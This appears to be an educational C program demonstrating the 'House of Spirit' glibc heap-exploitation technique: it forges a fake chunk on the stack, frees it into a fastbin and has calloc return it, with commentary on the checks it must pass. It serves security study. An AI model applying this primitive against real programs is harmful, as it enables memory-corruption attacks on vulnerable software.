House of Spirit#

1
#include <assert.h>
2
#include <stdio.h>
3
#include <stdlib.h>
4

5
int main() {
6
  setbuf(stdout, NULL);
7

8
  puts("This file demonstrates the house of spirit attack.");
9
  puts("This attack adds a non-heap pointer into fastbin, thus leading to "
10
       "(nearly) arbitrary write.");
11
  puts("Required primitives: known target address, ability to set up the "
12
       "start/end of the target memory");
13

14
  puts("\nStep 1: Allocate 7 chunks and free them to fill up tcache");
15
  void *chunks[7];
16
  for (int i = 0; i < 7; i++) {
17
    chunks[i] = malloc(0x30);
18
  }
19
  for (int i = 0; i < 7; i++) {
20
    free(chunks[i]);
21
  }
22

23
  puts("\nStep 2: Prepare the fake chunk");
24
  // This has nothing to do with fastbinsY (do not be fooled by the 10) -
25
  // fake_chunks is just a piece of memory to fulfil allocations (pointed to
26
  // from fastbinsY)
27
  long fake_chunks[10] __attribute__((aligned(0x10)));
28
  printf("The target fake chunk is at %p\n", fake_chunks);
29
  printf(
30
      "It contains two chunks. The first starts at %p and the second at %p.\n",
31
      &fake_chunks[1], &fake_chunks[9]);
32
  printf("This chunk.size of this region has to be 16 more than the region (to "
33
         "accommodate the chunk data) while still falling into the fastbin "
34
         "category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by "
35
         "free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) "
36
         "and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
37
  puts("... note that this has to be the size of the next malloc request "
38
       "rounded to the internal size used by the malloc implementation. E.g. "
39
       "on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for "
40
       "the malloc parameter at the end.");
41
  printf("Now set the size of the chunk (%p) to 0x40 so malloc will think it "
42
         "is a valid chunk.\n",
43
         &fake_chunks[1]);
44
  fake_chunks[1] = 0x40; // this is the size
45

46
  printf("The chunk.size of the *next* fake region has to be sane. That is > "
47
         "2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for "
48
         "the main arena) to pass the nextsize integrity checks. No need for "
49
         "fastbin size.\n");
50
  printf("Set the size of the chunk (%p) to 0x1234 so freeing the first chunk "
51
         "can succeed.\n",
52
         &fake_chunks[9]);
53
  fake_chunks[9] = 0x1234; // nextsize
54

55
  puts("\nStep 3: Free the first fake chunk");
56
  puts("Note that the address of the fake chunk must be 16-byte aligned.\n");
57
  void *victim = &fake_chunks[2];
58
  free(victim);
59

60
  puts("\nStep 4: Take out the fake chunk");
61
  printf("Now the next calloc will return our fake chunk at %p!\n",
62
         &fake_chunks[2]);
63
  printf(
64
      "malloc can do the trick as well, you just need to do it for 8 times.");
65
  void *allocated = calloc(1, 0x30);
66
  printf("malloc(0x30): %p, fake chunk: %p\n", allocated, victim);
67

68
  assert(allocated == victim);
69
}